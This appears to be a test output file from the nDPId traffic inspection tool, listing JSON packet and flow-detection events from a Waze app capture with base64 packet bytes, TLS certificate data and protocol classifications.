+00414{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":479716,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"ABoRAAACABoRAAABCABFAAAqWSVAAEAGvQ0KCAABNubjrLHwAFDxQTU\/Dr7LWlAY\/\/\/LSgAADQo="} +00409{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":479841,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodMBAABAG0XQ25uOsCggAAQBQsfAOvsta8UE1QVAQ\/\/\/YXAAA"} +02253{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":515481,"pkt_caplen":1422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1422,"pkt_l4_len":1388,"pkt":"ABoRAAACABoRAAABCABFAAWAdMFAABAGzyKwImdpCggAAQG7x2vs+m\/cEwWQ21AY\/\/+F+QAAFgMBAD0CAAA5AwH1S9MIgCkUPyVSxCu9eO4c7lZkVyWRyK5nvkH92WW6GwDAEwAAEf8BAAEAAAsABAMAAQIAIwAAFgMBC\/cLAAvzAAvwAARyMIIEbjCCA1agAwIBAgIIGh2bzDH41NkwDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwHhcNMTUwMTEyMTMzNjExWhcNMTUxMjMxMDAwMDAwWjBkMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzETMBEGA1UEAwwKKi53YXplLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN3DcqHH9nkO3xJ2\/KjK4+KdknYUOVAk5FCYu5jhH\/bx1tLDU5Ztle1x8HXTubW53UMCKQTgs3yaddERtJEwSjyOgcGzlHOBFe\/UBG5axvku4xaKMLfQktC2naRwB2q5Zom58pascBUUKKOZ26OEqBgHScTupV5iXj2dZqbrBMYx2mzRxrYrezh6HTAvLdjhr5H5Y8GFvRsIJNaQ3RiwUMzGqBqvApch1ohN8NmHPL5rAyRQfJ3ATlFU6SBrCbVrSV6DCXrLr2DYC4NtOWPEwmBlvslYl+WfClmW6BJgXQEErTAD4MEK2x2ubl5h0Cf8PUnVyuPmxzQVU39c6eXAQc0CAwEAAaOCAT0wggE5MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAVBgNVHREEDjAMggoqLndhemUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQUAd9hvZ9qWOfmBT7pRCOjoYgBvDAwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEALdEMofnAGs9KF\/aAssHoa027WFzlWlvAbahX1IS8HUzv4b7JE7O0JpCoo3n8\/YUadxD2PgK3U10HkSESZRPOEPUTuWPs2UxFE\/n5D34NIkm++oUgyVGOxd+tZTYilONIzglzPOPjwLpJRWewhlKC6I+dLqlm\/SdDf\/pngDN\/VbjmZ\/PKSIVX0ndrGoitOGL6cTZzcCN6T+tScWH0F1BGXTJlCsG\/cM1dsQxrwcY+4dBN5kQOon3i6gCvwBVGWuV5oLg6ItomasewqbtKKSz9Dz3xF1GDgpcISl4W4bCy5wn+oOv8UEqnX+NyIshCEV1j1gDa1t++GW4+YjpoJwLyFwAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMC"} +00786{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":177,"source":"waze.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":6,"flow_first_seen":1435587871935,"flow_last_seen":1435587872515,"flow_tot_l4_data_len":1690,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1388,"flow_avg_l4_data_len":281,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51051,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"}} +00410{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":566264,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo\/W9AAEAGG8wKCAABsCJnacdrAbsTBZDb7Pp1NFAQ\/\/+\/CQAA"} +02254{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":568660,"pkt_caplen":1422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1422,"pkt_l4_len":1388,"pkt":"ABoRAAACABoRAAABCABFAAWAdMJAABAGzyGwImdpCggAAQG7x2kFCOI\/+vceeFAY\/\/\/d2QAAFgMBAD0CAAA5AwGJBKh0VCTwuekm8YofcDfcU3yh44UbRfqdIBb4m1TZawDAEwAAEf8BAAEAAAsABAMAAQIAIwAAFgMBC\/cLAAvzAAvwAARyMIIEbjCCA1agAwIBAgIIGh2bzDH41NkwDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwHhcNMTUwMTEyMTMzNjExWhcNMTUxMjMxMDAwMDAwWjBkMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzETMBEGA1UEAwwKKi53YXplLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN3DcqHH9nkO3xJ2\/KjK4+KdknYUOVAk5FCYu5jhH\/bx1tLDU5Ztle1x8HXTubW53UMCKQTgs3yaddERtJEwSjyOgcGzlHOBFe\/UBG5axvku4xaKMLfQktC2naRwB2q5Zom58pascBUUKKOZ26OEqBgHScTupV5iXj2dZqbrBMYx2mzRxrYrezh6HTAvLdjhr5H5Y8GFvRsIJNaQ3RiwUMzGqBqvApch1ohN8NmHPL5rAyRQfJ3ATlFU6SBrCbVrSV6DCXrLr2DYC4NtOWPEwmBlvslYl+WfClmW6BJgXQEErTAD4MEK2x2ubl5h0Cf8PUnVyuPmxzQVU39c6eXAQc0CAwEAAaOCAT0wggE5MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAVBgNVHREEDjAMggoqLndhemUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQUAd9hvZ9qWOfmBT7pRCOjoYgBvDAwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEALdEMofnAGs9KF\/aAssHoa027WFzlWlvAbahX1IS8HUzv4b7JE7O0JpCoo3n8\/YUadxD2PgK3U10HkSESZRPOEPUTuWPs2UxFE\/n5D34NIkm++oUgyVGOxd+tZTYilONIzglzPOPjwLpJRWewhlKC6I+dLqlm\/SdDf\/pngDN\/VbjmZ\/PKSIVX0ndrGoitOGL6cTZzcCN6T+tScWH0F1BGXTJlCsG\/cM1dsQxrwcY+4dBN5kQOon3i6gCvwBVGWuV5oLg6ItomasewqbtKKSz9Dz3xF1GDgpcISl4W4bCy5wn+oOv8UEqnX+NyIshCEV1j1gDa1t++GW4+YjpoJwLyFwAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMC"} +00786{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":179,"source":"waze.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":6,"flow_first_seen":1435587871918,"flow_last_seen":1435587872568,"flow_tot_l4_data_len":1690,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1388,"flow_avg_l4_data_len":281,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51049,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"}} +05107{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":569585,"pkt_caplen":3545,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3545,"pkt_l4_len":3511,"pkt":"ABoRAAACABoRAAABCABFAA3LdMNAABAGN3U0EXLbCggAAQG7mGJiplaEnVmqM1AY\/\/9T4AAAFgMBAD0CAAA5AwGuqqUjqfu42AzUp6pnk8p9zIE0fFYkczwXlPrIUdq6GwDAEwAAEf8BAAEAAAsABAMAAQIAIwAAFgMBDAMLAAv\/AAv8AAR+MIIEejCCA2KgAwIBAgIIdngzx9KEkDUwDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwHhcNMTQxMTA2MTYwOTIwWhcNMTUxMTA2MTYwOTIwWjBqMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzEZMBcGA1UEAwwQKi53b3JsZC53YXplLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALl19Yrv10JVvbDv+DcdGs3iL2qAyWGBCh9dBBfDSAPztP2zJeYXmnPQLCabDumM5sV7994IeE\/lDlNg\/Ee9AVVGazduLe76CEdBASswND6c3ScTzsmvvizSQ7iCLmTGWdY7m78IvHnpcTTwMbz1xjAt6nbJdrDsWlDzyhhCDWK6IfCRuO2hGmKNKEWvAgjjIYQ2nDdUeRvoXH+AAQVpDFmbrN5yTBDUdjrgiaq0ZhMga3iYMHUUlpNRnB25Y7qg9ksH8qvnj7eM5yjiE+Gz9pntMytr\/XyqrWsNzChuSvj8cLLo3RMatDoPKfiw+mfBtr75CMCZ0Z+MZJmYi8WLjaUCAwEAAaOCAUMwggE\/MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHREEFDASghAqLndvcmxkLndhemUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQU1mxvIJu5ECrTi3o6310abW3e5WgwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEAVpjbOikll0Teaae1COIvpXTJakGeRLf+92aO+LubSXxVPd8MV65O7qe+7mTzVcle4OL9BXTWgOB9m5mxXaplXhLzGouaP\/yzxCeZxN4emiYMxJ2NdNfOIWdKSSjcwey5R4Pf4wYLWc99Pl+xmKWW+4UK4Fr0R3BKQthQ6LcyWnduTpOX3i0b1oEKSFL1Vihne5VDxgrHGjZ94IbG96VTGUyce0bVy\/lr\/UQYY\/cZy6i707TNZg8\/R8VCT6E5K482Z2i9e3GHVF7UoogvRRWxcFgmFMx+tytkegF1ydRjmZ6fy1jkp4YAvpGFX7\/avRkjLnVnNHUyRsyOQO7cE54VdAAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCcKgR3XNhQkToGo4Lg2FBIvIk\/8RlwGohGfuCPxfGJziHuWv5hDbcyRImgdAtTT1WkzoJile7rWV\/G4QWAEsRelD+8W0g49FP3JOb7kekVxM\/0Uw30SvyfVN59vqBrb4fA0FAfKDADQNoIc1Fsf\/86PKc3Bo69SxEE630k3ub5\/DFx+5TVYPMuSq9C0svqxGoassxT3RVLix\/IGWEfzZ2oPmMrhDVpZYTIGcVGIvhTlb7jgEoQxirsupcgEcc5mRAEoPBhepUljE5SdeK27QjKFPzOImqzTs9GA5eXA37Asd57r0Uzz7o+cbfe9CUlwg01iZ2d+w4ReYkeN8WvjnJpAgMBAAGjgecwgeQwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFErdBhYbvPZotXb1gba7Yhq6WoEvMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQEFBQADggEBACeMz+nHO77Ab+iWhPucXF2Q5HfbizJgm2XYhSa1up8e3mROH8bIIFsJn6up4Ak0RaJlJTc9f1pvIMz5+vEdjxAMAjrEyQF2lr6b+RXYOdHFA0d2uIqMMdZg1eSP2\/o8xtWYKPgcjxeRNMvLUnrR+zog5OGGsdgYD77Wh2SNxQolQlHvsji44B3Q4fzm9K9Guu\/Av8W0BfWUdQz+or4CuuqGW\/k1s2b1xY2FoRojdxoZF1QTYJ8L4bScKCr5rgI0bSWTnIKoF3vxhbDTD1jh+7H+nKGj6P3JP\/TXcdy9jKQZ4CEjI1UTj6QWAgl+ua\/u21NkvXEvuTnOMLe0vFTgRwcAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwEBSwwAAUcDABdBBA1VEDMzXeskEeC3gUKul3lP31QXxCQZyBpyytjLNYhvNMQdfIrqVpYv5p20b8P2F8BoUNYcZmKjDHOANnp943oBADlwpSevDnQPDv\/wkvcHQd2bX1fbIVkX6cgN8rWBxU3G+sLysjgLpLm55c6lMMeUQfGEqdKdHZZpP1+GUWSKhXN30B90Gf7mdzM3f39\/0MbFzVaqMqoCmAX9ZBdYa0q3P20vkZrKoVH9vtlldg8RIQz8WQezNZOssNI10py8E9qJyTixBJYEvtCqJpjv28q8HMcOHtbNNL6gdZzslFoa6e0dEUsbueS+dguY1ESQUSjzkK+DNGJMJLm8ArOFmM5x4xAZNAyzabeyWzOAtUbGuYnzuSWY42lmhsklxx+XSwwVXf+M+jyPjREqj03xALnVJzrn+vJElbBGqoSLIw\/K+lkWAwEABA4AAAA="} +01043{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":180,"source":"waze.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":6,"flow_first_seen":1435587871939,"flow_last_seen":1435587872569,"flow_tot_l4_data_len":3813,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3511,"flow_avg_l4_data_len":635,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"52.17.114.219","src_port":39010,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.world.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.world.waze.com","fingerprint":"30:50:FA:42:94:E4:1A:34:9B:23:55:CB:7B:F2:0D:76:FA:1C:58:4B"}} +00409{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":569903,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAocIxAAEAGqK8KCAABsCJnacdpAbv69x54BQjnl1AQ\/\/+\/CwAA"} +00408{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":570286,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoxDdAAEAGxaMKCAABNBFy25hiAbudWaozYqZkJ1AQ\/\/9WZwAA"} +00593{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":595298,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"ABoRAAACABoRAAABCABFAACuxDhAAEAGxRwKCAABNBFy25hiAbudWaozYqZkJ1AY\/\/8MmwAAFgMBAEYQAABCQQQ4BVLjLvc+HZGngY00+3Wo\/kZ45i9D7JrE6hE3wZbaIDTZhb9zNpOq0ZSZtrJ0ILhIdSEM\/LEW0+5OVnF4voG1FAMBAAEBFgMBADDqnEXoQ2Wj2nCaB4kh8NXXGUiCBecloJhaKlB25qG0zhN05u8PLH3x+RuGJFOha+Q="} +00408{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":595806,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodMRAABAGRRc0EXLbCggAAQG7mGJipmQnnVmquVAQ\/\/9V4QAA"} +00935{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":648064,"pkt_caplen":447,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":447,"pkt_l4_len":413,"pkt":"ABoRAAACABoRAAABCABFAAGxdMVAABAGz+Y25uOsCggAAQBQsfAOvsta8UE1QVAY\/\/9S0QAASFRUUC8xLjEgMzA0IE5vdCBNb2RpZmllZA0KQ29ubmVjdGlvbjogY2xvc2UNCkRhdGU6IE1vbiwgMjkgSnVuIDIwMTUgMTQ6MjQ6MzIgR01UDQp4LWFtei1tZXRhLWNyZWF0b3I6IEN5YmVyZHVjaw0KQ2FjaGUtQ29udHJvbDogcHVibGljLG1heC1hZ2U9MzAwDQpFVGFnOiAiZTY1ZmY3M2ZjODI5ZmVhMDdmMWU1OTI4NGEwZTMwOTMiDQpTZXJ2ZXI6IEFtYXpvblMzDQpBZ2U6IDIzMA0KWC1DYWNoZTogSGl0IGZyb20gY2xvdWRmcm9udA0KVmlhOiAxLjEgZjY3MDEzZjQwNWIzZjhlZTY4MzY4OTljMmVhZjk5MTYuY2xvdWRmcm9udC5uZXQgKENsb3VkRnJvbnQpDQpYLUFtei1DZi1JZDogVzY1azVSRnIyclhWdUhhSzBjSDRjNU5VekFISEx2NkJDcDNUaXB4LXpiVlBVaU5kNmM4NWh3PT0NCg0K"} +00409{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":649276,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoWSZAAEAGvQ4KCAABNubjrLHwAFDxQTVBDr7M41AQ\/\/\/W0wAA"} +00410{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":649703,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodMdAABAG0W025uOsCggAAQBQsfAOvszj8UE1QVAR\/\/\/W0gAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":193,"source":"waze.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1435587872702,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45554,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":702798,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8Y6lAAEAGsncKCAABNubjrLHyAFAC8Q4\/AAAAAKAC\/\/\/yUgAAAgQFtAQCCAoACG2WAAAAAAEDAwg="} +00409{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":704043,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodMpAABAG0Wo25uOsCggAAQBQsfL9DvHAAvEOQFAS\/\/\/Y8wAA"} +00410{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":704177,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoWSdAAEAGvQ0KCAABNubjrLHwAFDxQTVBDr7M5FAR\/\/\/W0QAA"} 